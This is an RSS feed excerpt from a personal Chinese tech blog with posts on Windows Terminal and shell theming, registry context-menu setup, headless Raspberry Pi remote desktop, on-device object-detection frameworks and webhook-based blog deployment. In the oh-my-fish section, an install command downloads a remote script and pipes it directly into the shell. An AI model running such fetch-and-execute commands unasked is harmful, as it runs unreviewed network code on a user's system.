</span></span><span class="line"><span class="ln">52</span><span class="cl">            <span class="nt">&#34;useAcrylic&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">53</span><span class="cl">            <span class="nt">&#34;acrylicOpacity&#34;</span><span class="p">:</span> <span class="mf">0.8</span>
</span></span><span class="line"><span class="ln">54</span><span class="cl">        <span class="p">},</span>
</span></span><span class="line"><span class="ln">55</span><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="ln">56</span><span class="cl">            <span class="c1">// Make changes here to the powershell.exe profile
</span></span></span><span class="line"><span class="ln">57</span><span class="cl">            <span class="nt">&#34;guid&#34;</span><span class="p">:</span> <span class="s2">&#34;{61c54bbd-c2c6-5271-96e7-009a87ff44bf}&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">58</span><span class="cl">            <span class="nt">&#34;name&#34;</span><span class="p">:</span> <span class="s2">&#34;Windows PowerShell&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">59</span><span class="cl">            <span class="nt">&#34;commandline&#34;</span><span class="p">:</span> <span class="s2">&#34;powershell.exe&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">60</span><span class="cl">            <span class="nt">&#34;hidden&#34;</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">61</span><span class="cl">            <span class="nt">&#34;startingDirectory&#34;</span><span class="p">:</span> <span class="s2">&#34;.&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">62</span><span class="cl">            <span class="nt">&#34;colorScheme&#34;</span><span class="p">:</span> <span class="s2">&#34;One Half Dark&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">63</span><span class="cl">            <span class="nt">&#34;fontFace&#34;</span><span class="p">:</span> <span class="s2">&#34;Delugia Nerd Font&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">64</span><span class="cl">            <span class="nt">&#34;useAcrylic&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">65</span><span class="cl">            <span class="nt">&#34;acrylicOpacity&#34;</span><span class="p">:</span> <span class="mf">0.8</span>
</span></span><span class="line"><span class="ln">66</span><span class="cl">        <span class="p">},</span>
</span></span><span class="line"><span class="ln">67</span><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="ln">68</span><span class="cl">            <span class="c1">// Make changes here to the cmd.exe profile
</span></span></span><span class="line"><span class="ln">69</span><span class="cl">            <span class="nt">&#34;guid&#34;</span><span class="p">:</span> <span class="s2">&#34;{0caa0dad-35be-5f56-a8ff-afceeeaa6101}&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">70</span><span class="cl">            <span class="nt">&#34;name&#34;</span><span class="p">:</span> <span class="s2">&#34;cmd&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">71</span><span class="cl">            <span class="nt">&#34;commandline&#34;</span><span class="p">:</span> <span class="s2">&#34;cmd.exe&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">72</span><span class="cl">            <span class="nt">&#34;hidden&#34;</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">73</span><span class="cl">            <span class="nt">&#34;startingDirectory&#34;</span><span class="p">:</span> <span class="s2">&#34;.&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">74</span><span class="cl">            <span class="nt">&#34;colorScheme&#34;</span><span class="p">:</span> <span class="s2">&#34;One Half Dark&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">75</span><span class="cl">            <span class="nt">&#34;fontFace&#34;</span><span class="p">:</span> <span class="s2">&#34;Delugia Nerd Font&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">76</span><span class="cl">            <span class="nt">&#34;useAcrylic&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">77</span><span class="cl">            <span class="nt">&#34;acrylicOpacity&#34;</span><span class="p">:</span> <span class="mf">0.8</span>
</span></span><span class="line"><span class="ln">78</span><span class="cl">        <span class="p">},</span>
</span></span><span class="line"><span class="ln">79</span><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="ln">80</span><span class="cl">            <span class="nt">&#34;guid&#34;</span><span class="p">:</span> <span class="s2">&#34;{b453ae62-4e3d-5e58-b989-0a998ec441b8}&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">81</span><span class="cl">            <span class="nt">&#34;hidden&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">82</span><span class="cl">            <span class="nt">&#34;name&#34;</span><span class="p">:</span> <span class="s2">&#34;Azure Cloud Shell&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">83</span><span class="cl">            <span class="nt">&#34;source&#34;</span><span class="p">:</span> <span class="s2">&#34;Windows.Terminal.Azure&#34;</span>
</span></span><span class="line"><span class="ln">84</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">85</span><span class="cl">    <span class="p">],</span>
</span></span><span class="line"><span class="ln">86</span><span class="cl">
</span></span><span class="line"><span class="ln">87</span><span class="cl">    <span class="c1">// Add custom color schemes to this array
</span></span></span><span class="line"><span class="ln">88</span><span class="cl">    <span class="nt">&#34;schemes&#34;</span><span class="p">:</span> <span class="p">[],</span>
</span></span><span class="line"><span class="ln">89</span><span class="cl">
</span></span><span class="line"><span class="ln">90</span><span class="cl">    <span class="c1">// Add any keybinding overrides to this array.
</span></span></span><span class="line"><span class="ln">91</span><span class="cl">    <span class="c1">// To unbind a default keybinding, set the command to &#34;unbound&#34;
</span></span></span><span class="line"><span class="ln">92</span><span class="cl">    <span class="nt">&#34;keybindings&#34;</span><span class="p">:</span> <span class="p">[]</span>
</span></span><span class="line"><span class="ln">93</span><span class="cl"><span class="p">}</span></span></span></code></pre></div><p>其中主要调整的几个点：</p>
<ol>
<li>添加了 Powershell Core 6，并调整了各个 Shell 的顺序，优先打开 WSL。</li>
<li>把启动路径改成了 <code>.</code>，便于之后使用右键菜单“在此处打开”。（<code>startingDirectory</code>）</li>
<li>颜色主题改成了自带的 One Half Dark。（<code>colorScheme</code>）</li>
<li>字体改成了 <a href="https://github.com/adam7/delugia-code">Delugia Nerd Font</a>。这是一个打包了 <a href="https://github.com/ryanoasis/nerd-fonts">Nerd Fonts</a> 的 <a href="https://github.com/Microsoft/Cascadia-Code">Cascadia Code</a> 的非官方版本。如果你只需要 <a href="https://github.com/powerline/powerline">Powerline</a> 相关的<a href="https://github.com/powerline/fonts">字体</a>，那也可以选择官方的 <a href="https://github.com/microsoft/cascadia-code/releases">Cascadia Code PL</a> 字体。（<code>fontFace</code>）</li>
<li>启用了毛玻璃效果。（<code>useAcrylic</code>，<code>acrylicOpacity</code>）</li>
<li>调整了初始的窗口大小设置。（<code>initialCols</code>，<code>initialRows</code>）</li>
</ol>
<h2 id="主题">主题</h2>
<p>调整完上述 WT 设置后，WT 就已经足够好看了。下面我们让 Powershell 和 fish 在 WT 里更好看一点。利用 <a href="https://github.com/JanDeDobbeleer/oh-my-posh">oh-my-posh</a> 和 <a href="https://github.com/oh-my-fish/oh-my-fish">oh-my-fish</a> 这两个项目，分别给 Powershell 和 fish 加上 Powerline 和 Git 状态显示。</p>
<h3 id="oh-my-posh"><a href="https://github.com/JanDeDobbeleer/oh-my-posh">oh-my-posh</a></h3>
<p>按照<a href="https://github.com/JanDeDobbeleer/oh-my-posh#installation">文档</a>安装配置即可。</p>
<p>在 Powershell 中键入以下命令安装：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="ln">1</span><span class="cl"><span class="nb">Install-Module</span> <span class="nb">posh-git</span> <span class="n">-Scope</span> <span class="n">CurrentUser</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="nb">Install-Module</span> <span class="nb">oh-my</span><span class="n">-posh</span> <span class="n">-Scope</span> <span class="n">CurrentUser</span></span></span></code></pre></div><p>Powershell Core 用户需要额外安装 [PSReadLine](Install-Module -Name PSReadLine -AllowPrerelease -Scope CurrentUser -Force -SkipPublisherCheck)：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="ln">1</span><span class="cl"><span class="nb">Install-Module</span> <span class="n">-Name</span> <span class="n">PSReadLine</span> <span class="n">-AllowPrerelease</span> <span class="n">-Scope</span> <span class="n">CurrentUser</span> <span class="n">-Force</span> <span class="n">-SkipPublisherCheck</span></span></span></code></pre></div><p>输入 <code>code $PROFILE</code> 用 vscode 打开配置文件（或者用其他任何编辑器），在最后加入：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="ln">1</span><span class="cl"><span class="nb">Import-Module</span> <span class="nb">posh-git</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="nb">Import-Module</span> <span class="nb">oh-my</span><span class="n">-posh</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="nb">Set-Theme</span> <span class="n">Agnoster</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="nv">$DefaultUser</span> <span class="p">=</span> <span class="s1">&#39;&lt;YOUR-USERNAME-HERE&gt;&#39;</span></span></span></code></pre></div><p>重启窗口即可生效。这样就把主题设置为了 <a href="https://github.com/JanDeDobbeleer/oh-my-posh#agnoster">Agnoster</a>，当然也可以选择其他你喜欢的<a href="https://github.com/JanDeDobbeleer/oh-my-posh#themes">主题</a>。另外设置了默认用户名，这样在默认用户下可以隐藏开头的 用户名@机器名 提示字符串。</p>
<h3 id="oh-my-fish"><a href="https://github.com/oh-my-fish/oh-my-fish">oh-my-fish</a></h3>
<p>按照<a href="https://github.com/oh-my-fish/oh-my-fish#installation">文档</a>安装配置即可。</p>
<p>直接在命令行输入以下一行即可安装：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">curl -L https://get.oh-my.fish <span class="p">|</span> fish</span></span></code></pre></div><p>安装完毕后，就可以安装设置自定义主题了。输入以下命令安装并应用 Agnoster 主题：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fish" data-lang="fish"><span class="line"><span class="ln">1</span><span class="cl"><span class="nf">omf</span> install agnoster
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="nf">omf</span> theme agnoster</span></span></code></pre></div><p>当然你也可以使用其他你喜欢的<a href="https://github.com/oh-my-fish/oh-my-fish/blob/master/docs/Themes.md">主题</a>。</p>
<p>至此，整个美化就完成啦！</p>
<h2 id="添加到右键菜单">添加到右键菜单</h2>
<p>最后，我们想要在右键菜单中添加 <code>在此处打开 Windows Terminal</code> 或者 <code>Open WT here</code> 的选项。</p>
<p>可以直接参考这篇把 Linux Bash 添加到右键菜单的文章：<a href="https://www.windowscentral.com/how-launch-bash-shell-right-click-context-menu-windows-10">How to launch Bash shell from right-click context menu on Windows 10</a></p>
<p>唯一的不同就是里面的描述文字需要更改成 Windows Terminal / WT，启动指令需要改成 <code>C:\Users\&lt;YOUR-USERNAME-HERE&gt;\AppData\Local\Microsoft\WindowsApps\wt.exe</code>。另外，图标也需要改成 WT 的图标，可以从<a href="https://github.com/microsoft/terminal/blob/master/res/terminal.ico">这里</a>下载。</p>
<p>因此流程为：</p>
<ol>
<li>到注册表编辑器里找到 <code>HKEY_CLASSES_ROOT\Directory\Background\shell</code> 项。</li>
<li>在该项下新建一个项，命名 <code>WindowsTerminal</code>。</li>
<li>点击新建的这项，将默认值修改为 <code>Open WT here</code>。</li>
<li>在该项下新建一个字符串值，名称为 <code>Icon</code>，值为图标路径。（该项操作可选）</li>
<li>在 <code>WindowsTerminal</code> 项下再新建一项，命名为 <code>command</code>。</li>
<li>将这项的默认值修改为启动 WT 的路径，一般为 <code>C:\Users\&lt;YOUR-USERNAME-HERE&gt;\AppData\Local\Microsoft\WindowsApps\wt.exe</code>。</li>
</ol>
<p>操作完成，在文件夹里右击就会出现 <code>Open WT here</code> 的选项啦。</p>
]]></content:encoded>
    </item>
    <item>
      <title>树莓派折腾笔记（三）</title>
      <link>https://sttev.com/posts/30-raspberry-pi-3/</link>
      <pubDate>Thu, 05 Dec 2019 23:00:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/30-raspberry-pi-3/</guid>
      <description>&lt;h2 id=&#34;网络监测&#34;&gt;网络监测&lt;/h2&gt;&#xA;&lt;p&gt;找到了几个好用的 CLI 网络监测工具。&lt;/p&gt;&#xA;&lt;p&gt;实时网络连接质量：&lt;code&gt;wavemon&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;实时网速：&lt;code&gt;speedometer&lt;/code&gt;，&lt;code&gt;bmon&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;teamviewer--vnc&#34;&gt;TeamViewer / VNC&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://www.teamviewer.com/&#34;&gt;TeamViewer&lt;/a&gt; 和 &lt;a href=&#34;https://www.realvnc.com/&#34;&gt;VNC&lt;/a&gt; 是两个常用的远程桌面工具。Raspbian 自带了 RealVNC，并且开机启动。如果有接着显示器，那就可以直接用另一台电脑连上去了。TeamViewer 也提供了树莓派的服务端安装包，装好登陆账户即可远程登陆。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="网络监测">网络监测</h2>
<p>找到了几个好用的 CLI 网络监测工具。</p>
<p>实时网络连接质量：<code>wavemon</code></p>
<p>实时网速：<code>speedometer</code>，<code>bmon</code></p>
<h2 id="teamviewer--vnc">TeamViewer / VNC</h2>
<p><a href="https://www.teamviewer.com/">TeamViewer</a> 和 <a href="https://www.realvnc.com/">VNC</a> 是两个常用的远程桌面工具。Raspbian 自带了 RealVNC，并且开机启动。如果有接着显示器，那就可以直接用另一台电脑连上去了。TeamViewer 也提供了树莓派的服务端安装包，装好登陆账户即可远程登陆。</p>
<p>但是以上的前提是你得让树莓派接着显示器。如果想要一个 Headless 即不接 HDMI 只接一根电源线的配置，那恐怕这就不行了。VNC 会黑屏，告诉你无法显示当前的界面；TeamViewer 直接就连不上去。当然 VNC 可以 SSH 进命令行启动一个虚拟桌面，但是 TeamViewer 就没法解决了。一切的原因都是因为没有插 HDMI 线的时候，树莓派默认不会加载 HDMI 输出模式，因此无法让 VNC 和 TeamViewer 转发桌面。下面是一次性无痛解决的方法。</p>
<p>编辑 <code>/boot/config.txt</code> 文件，在其中取消注释/编辑以下条目：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="ln">1</span><span class="cl">hdmi_force_hotplug=1
</span></span><span class="line"><span class="ln">2</span><span class="cl">hdmi_drive=2</span></span></code></pre></div><p>其中，<code>hdmi_force_hotplug=1</code> 会强制树莓派在没有连接 HDMI 线的时候依旧假装连着线以启用 HDMI 输出；<code>hdmi_drive=2</code> 会强制走 HDMI 模式而非 DVI 模式，这样可以强制启用 HDMI 音频。</p>
<p>这样设置好以后重启，然后 TeamViewer 和 VNC 就可以使用了。你会发现分辨率很低，所以可以在 <code>/boot/config.txt</code> 中再取消注释/编辑以下条目：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="ln">1</span><span class="cl">hdmi_group=2
</span></span><span class="line"><span class="ln">2</span><span class="cl">hdmi_mode=82</span></span></code></pre></div><p>这里 <code>hdmi_group=2</code> 是使用更适合显示器的 DMT 输出模式，<code>hdmi_mode=82</code> 则是标准的 1080P@60Hz。配置完成后重启，在 GUI 里设置分辨率的地方就可以看到最大可选 1080P@60Hz 的选项了。</p>
<p>当然，你还可以选择其他的分辨率配置，官方文档有给出全部的说明：</p>
<p><a href="https://www.raspberrypi.org/documentation/configuration/config-txt/video.md">https://www.raspberrypi.org/documentation/configuration/config-txt/video.md</a></p>
<h2 id="更多的远程桌面">更多的远程桌面</h2>
<p>VNC 固然好，但是主力用就会感受到这玩意性能差得很。世上的远程桌面工具千千万，干脆多试几个吧。</p>
<h3 id="vnc-realvnc">VNC (<a href="https://www.realvnc.com/">RealVNC</a>)</h3>
<p>老生常谈，被广泛使用的远程桌面工具。性能一般，有一定延迟，并且无法高效转发视频。</p>
<h3 id="teamviewer"><a href="https://www.teamviewer.com/">TeamViewer</a></h3>
<p>同上。不过是个通过转发服务器实现任意地方远程桌面的好文明。</p>
<h3 id="xrdp"><a href="https://github.com/neutrinolabs/xrdp">xrdp</a></h3>
<p>xrdp 的底层实现简单来说，就是在 Linux 端跑了一个 X Server，然后接上了巨硬家的 RDP 协议。因为是用了 RDP 的协议实现，所以可以直接用 Windows 自带的远程桌面做连接。用下来各方面都还挺好，但是性能方面其实和 VNC 没有什么大差别，延迟依旧是那点延迟，视频也是同样没法高效转发。</p>
<h3 id="nomachine"><a href="https://www.nomachine.com/">NoMachine</a></h3>
<p>被吹的最神的一个远程桌面软件，号称自家开发了一个 NX 协议，能够高性能做桌面转发。实际上简直像是一个流氓软件，不开源，安装包巨大巨慢，还会装一大堆东西（幸亏都能一次性卸载干净）。这些我也就忍了（其实忍不了），实际用下来性能并没有吹的那么牛逼，上来就能感受到非常明显的延迟，并且能注意到很吃 CPU。</p>
<h3 id="chrome-remote-desktop"><a href="https://remotedesktop.google.com/">Chrome Remote Desktop</a></h3>
<p>另一个能到处远程桌面的。不过要登录 Google 账户，还得挂梯子，算了。</p>
<h3 id="x11vnc"><a href="https://github.com/LibVNC/x11vnc">X11VNC</a></h3>
<p>一个用了 X11 协议的 VNC 实现。本身配置会比普通 VNC 更麻烦，而且性能也就那回事。</p>
<h3 id="结论">结论</h3>
<p>所以在没有发现新的高性能远程桌面工具前，还是只能继续用 VNC，TeamViewer 和 xrdp 了。</p>
]]></content:encoded>
    </item>
    <item>
      <title>树莓派折腾笔记（二）</title>
      <link>https://sttev.com/posts/29-raspberry-pi-2/</link>
      <pubDate>Tue, 03 Dec 2019 12:00:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/29-raspberry-pi-2/</guid>
      <description>&lt;h2 id=&#34;派上的深度学习&#34;&gt;派上的深度学习&lt;/h2&gt;&#xA;&lt;p&gt;之前用 &lt;a href=&#34;https://github.com/digitalbrain79/darknet-nnpack/&#34;&gt;darknet-nnpack&lt;/a&gt; 实现了在树莓派上运行 tiny YOLOv3 进行“实时”的目标识别。下一步，我想要尝试更快的网络。如何去寻找一些为了 ARM 设备优化的深度学习库呢？很简单，去找手机厂商/互联网厂商做的库。为了在手机端更快运行，他们都会做超级多底层优化，能够实现非常好的性能。如果支持移植到树莓派，那正好就是我们的不二之选。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="派上的深度学习">派上的深度学习</h2>
<p>之前用 <a href="https://github.com/digitalbrain79/darknet-nnpack/">darknet-nnpack</a> 实现了在树莓派上运行 tiny YOLOv3 进行“实时”的目标识别。下一步，我想要尝试更快的网络。如何去寻找一些为了 ARM 设备优化的深度学习库呢？很简单，去找手机厂商/互联网厂商做的库。为了在手机端更快运行，他们都会做超级多底层优化，能够实现非常好的性能。如果支持移植到树莓派，那正好就是我们的不二之选。</p>
<p>一番搜索和挑选，我最后选择尝试以下框架：</p>
<ul>
<li><a href="https://github.com/PaddlePaddle/Paddle-Lite-Demo">Paddle Lite</a> (By Baidu)</li>
<li><a href="https://www.tensorflow.org/lite/guide/build_rpi">Tensorflow Lite</a> (By Google)</li>
<li><a href="https://github.com/Tencent/ncnn">ncnn</a> (By Tencent)</li>
<li><a href="https://github.com/XiaoMi/mace">MACE</a> (By Xiaomi)</li>
</ul>
<p>我们一个一个来尝试。</p>
<h2 id="paddle-lite">Paddle Lite</h2>
<h3 id="简介">简介</h3>
<p><a href="https://github.com/PaddlePaddle/Paddle">PaddlePaddle</a> 是百度开发的深度学习框架。我个人之前有使用过基于它的 <a href="https://github.com/PaddlePaddle/PaddleDetection">PaddleDetection</a> 框架，由于提供了非常丰富的模型支持，并且配置使用类似 <a href="https://github.com/facebookresearch/detectron2">Detectron</a> 一样方便，所以对 PaddlePaddle 有了不错的印象。</p>
<p>而 <a href="https://github.com/PaddlePaddle/Paddle-Lite">Paddle Lite</a> 则是为了移动设备、嵌入式设备优化过的轻量级高性能框架，有专门的 ARM CPU 优化，与 PaddlePaddle 兼容。爽的是，他们直接提供了一个可以运行在树莓派上的 Demo：</p>
<blockquote>
<p><a href="https://github.com/PaddlePaddle/Paddle-Lite-Demo">Paddle-Lite-Demo</a></p>
</blockquote>
<h3 id="安装">安装</h3>
<p>安装配置非常简单，按照 README 里的步骤走就可以。其中在配置依赖环节，文档给出的方法里需要编译 cmake，实际测试下来并不需要，使用 APT 安装的 cmake 就可以满足要求。因此依赖安装只需要以下两条指令：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="ln">1</span><span class="cl">sudo apt update
</span></span><span class="line"><span class="ln">2</span><span class="cl">sudo apt install gcc g++ make wget unzip libopencv-dev pkg-config cmake</span></span></code></pre></div><p>随后按照文档编译即可。</p>
<p>不过可能还需要按照这个藏在文件夹里的说明，添加一个 V4L2 驱动使 OpenCV 能够识别摄像头：</p>
<p><a href="https://github.com/PaddlePaddle/Paddle-Lite-Demo/blob/master/PaddleLite-armlinux-demo/enable-camera-on-raspberry-pi.md#5%E5%AE%89%E8%A3%85v4l2%E9%A9%B1%E5%8A%A8%E4%BD%BFopencv%E8%83%BD%E5%A4%9F%E8%AF%86%E5%88%AB%E6%91%84%E5%83%8F%E5%A4%B4">https://github.com/PaddlePaddle/Paddle-Lite-Demo/blob/master/PaddleLite-armlinux-demo/enable-camera-on-raspberry-pi.md#5安装v4l2驱动使opencv能够识别摄像头</a></p>
<h3 id="图像分类">图像分类</h3>
<p>图像分类 Demo 编译完成后，进入 <code>PaddleLite-armlinux-demo/image_classification_demo/build</code> 文件夹，运行以下指令即可使用自带摄像头进行图像分类任务。</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="ln">1</span><span class="cl">./image_classification_demo ../models/mobilenet_v1_for_cpu ../labels/synset_words.txt</span></span></code></pre></div><p>这里的 Demo 提供了 MobileNet-v1 作为分类网络，实测运行性能在 10 fps 左右，可以说是非常快了。不过这个只能对于一整帧图像进行分类，我们肯定是想要更酷的目标识别嘛。</p>
<h3 id="目标识别">目标识别</h3>
<p>目标检测 Demo 编译完成后，进入 <code>/PaddleLite-armlinux-demo/object_detection_demo/build</code> 文件夹，运行以下指令即可使用自带摄像头进行目标识别任务。</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="ln">1</span><span class="cl">./object_detection_demo ../models/ssd_mobilenet_v1_pascalvoc_for_cpu ../labels/pascalvoc_label_list</span></span></code></pre></div><p>这里的 Demo 使用了 SSD-MobileNet-v1 作为目标识别网络，实测性能在 6 fps 左右，可比 YOLOv3 快多了哈哈哈哈哈哈。不过按照惯例，准确度肯定是没法比。tiny YOLOv3 使用 COCO 数据集训练，能做 <a href="https://github.com/digitalbrain79/darknet-nnpack/blob/master/data/coco.names">80 个标签</a> 的分类，而这里的 SSD-MobileNet-v1 使用的是 PascalVOC 数据集训练，只能提供 <a href="https://github.com/PaddlePaddle/Paddle-Lite-Demo/blob/master/PaddleLite-armlinux-demo/object_detection_demo/labels/pascalvoc_label_list">21 个标签</a> 的分类，而且目测准确率甚至低于 YOLOv3（不过 SSD 比 YOLO 差也几乎算是常识了）。</p>
<h2 id="tensorflow-lite">TensorFlow Lite</h2>
<h3 id="简介-1">简介</h3>
<p><a href="https://www.tensorflow.org/">TensorFlow</a> 这样大名鼎鼎的框架就不多说了。谷歌同时也为移动设备和 IoT 设备开发了一个轻量级的版本，<a href="https://www.tensorflow.org/lite">TensorFlow Lite</a>。同样的，他们也提供了一个可以直接在树莓派上运行的 Demo：</p>
<blockquote>
<p><a href="https://github.com/tensorflow/examples/tree/master/lite/examples/object_detection/raspberry_pi">TensorFlow Lite Python object detection example with Pi Camera</a></p>
</blockquote>
<h3 id="安装-1">安装</h3>
<p>按照 Demo 的说明，只需要安装一个 tflite 的运行时（tflite_runtime）即可。按照这篇 <a href="https://www.tensorflow.org/lite/guide/python">Python quickstart</a> 的指示下载安装包安装。</p>
<p>然后按照 Demo 说明 clone 这个 repo，并用自带的脚本下载模型。我选择下载到了当前文件夹中。</p>
<h3 id="运行">运行</h3>
<p>用 Demo 说明的指令即可运行。（模型和 label 说明文件位置需要根据实际情况更改）</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="ln">1</span><span class="cl">python3 detect_picamera.py <span class="se">\
</span></span></span><span class="line"><span class="ln">2</span><span class="cl">  --model ./detect.tflite <span class="se">\
</span></span></span><span class="line"><span class="ln">3</span><span class="cl">  --labels ./coco_labels.txt</span></span></code></pre></div><p>如果你是连接了显示器，那应该会跳出一个实时的摄像头画面了。但是如果你用的是 VNC 或者 TeamViewer 这样的远程桌面，大概率你会看到脚本在运行、CPU 高负载，却没有画面。这是因为脚本用了 picamera 模块做显示，而 picamera 在显示的时候是直接在 HDMI 输出上做了一个叠加层，用了虚拟桌面的 VNC、TeamViewer 这类软件是无法捕获到这个输出的。picamera 的文档在<a href="https://picamera.readthedocs.io/en/release-1.13/faq.html#can-i-put-the-preview-in-a-window">这里</a>做了解释。</p>
<p>解决方法其实也很简单，那就是到树莓派上的 RealVNC 设置项 Options -&gt; Troubleshooting 里勾选 <code>Enable direct capture mode</code>。这样 VNC 就会直接抓取 HDMI 视频流，然后就可以看到 picamera 的预览界面了。参考回答：<a href="https://raspberrypi.stackexchange.com/a/74390">Sending Raspberry Pi Camera preview to a laptop running VNC Viewer</a></p>
<p>这里 TensorFlow Lite 提供的 demo 用的依旧是 SSD MobileNet v1，不过预训练使用了 COCO 数据集，因此会比 Paddle Lite 识别出更多的类别。性能在 4-5 fps，奇怪的是竟然没有吃满全部的 CPU，不过幸好这个性能已经够用了。</p>
<h2 id="ncnn--mace">ncnn &amp; MACE</h2>
<p>很明显，上面两个框架已经完全能够满足我们的需求了。不幸的是，<a href="https://github.com/Tencent/ncnn">ncnn</a> 和 <a href="https://github.com/XiaoMi/mace">MACE</a> 这两个框架都需要自行编译，并没有提供预编译运行时和 Demo，因此暂时先不折腾，等以后感觉来了再搞好了。</p>
]]></content:encoded>
    </item>
    <item>
      <title>博客自动化部署</title>
      <link>https://sttev.com/posts/28-blog-automated-deployment/</link>
      <pubDate>Sat, 30 Nov 2019 23:00:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/28-blog-automated-deployment/</guid>
      <description>&lt;h2 id=&#34;前情提要&#34;&gt;前情提要&lt;/h2&gt;&#xA;&lt;p&gt;在 &lt;a href=&#34;https://sttev.com/posts/21-blog-notes/&#34;&gt;博客搭建笔记&lt;/a&gt; 中，我记录了搭建现在这个博客的过程。为了便于管理，我现在把网站的全部文件用 git 做管理，并上传到 Github 上的一个 private repo 里。这样一方面便于版本管理，另一方面也可以省的每次有改动都要开 FileZilla 传一遍。每次有改动或者发布新文章，只需要推上 Github，然后 SSH 进服务器拉下来重新 &lt;code&gt;hugo&lt;/code&gt; 一下就可以。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="前情提要">前情提要</h2>
<p>在 <a href="/posts/21-blog-notes/">博客搭建笔记</a> 中，我记录了搭建现在这个博客的过程。为了便于管理，我现在把网站的全部文件用 git 做管理，并上传到 Github 上的一个 private repo 里。这样一方面便于版本管理，另一方面也可以省的每次有改动都要开 FileZilla 传一遍。每次有改动或者发布新文章，只需要推上 Github，然后 SSH 进服务器拉下来重新 <code>hugo</code> 一下就可以。</p>
<p>还是麻烦！</p>
<p>虽然说我写了个小脚本可以一键完成 <code>git pull</code> 和 <code>hugo</code>，但是每次都还是要 SSH 上去，外网的 ec2 连接又总是延迟高还不稳定。既然这么麻烦，干脆搞个自动化部署吧。</p>
<h2 id="思路">思路</h2>
<p>在每次 push 事件发生后，让 Github 向一个特定的接口发送一个通知；服务器则配置这么一个接口用于监听事件，一旦收到 push 的通知就运行脚本自动部署。</p>
<h2 id="工具">工具</h2>
<p><a href="https://github.com/adnanh/webhook">webhook</a>：一个用 Golang 编写的轻量级 webhook 工具。可以在服务器端特定端口监听，接收到符合要求的请求后执行指定的命令。</p>
<p><a href="https://help.github.com/en/github/extending-github/about-webhooks">webhooks</a>：一项 Github 自带的功能，在 repo 的 Settings -&gt; Webhooks 选项中可以找到相关的设置项。可以在每次 push 事件发生后，让 Github 向一个特定的接口发送一个 HTTP POST 请求。</p>
<p><em><strong>要注意此 <a href="https://github.com/adnanh/webhook">webhook</a> 非彼 <a href="https://help.github.com/en/github/extending-github/about-webhooks">webhooks</a>，前者是一个正好叫 <a href="https://github.com/adnanh/webhook">webhook</a> 的 webhook 工具，后者则是一项 Github 的 webhook 功能。</strong></em></p>
<h2 id="配置">配置</h2>
<p>以下配置参考了这两篇博客：</p>
<blockquote>
<p><a href="https://davidauthier.com/blog/deploy-using-github-webhooks.html">Deploy using GitHub webhooks</a> by <a href="https://davidauthier.wearemd.com/">@awea</a></p>
<p><a href="https://willbrowning.me/setting-up-automatic-deployment-and-builds-using-webhooks/">Setting up Automatic Deployment and Builds Using Webhooks</a> by <a href="https://willbrowning.me/about/">Will Browning</a></p>
</blockquote>
<h3 id="安装">安装</h3>
<p>直接使用 APT 安装：<code>sudo apt install webhook</code></p>
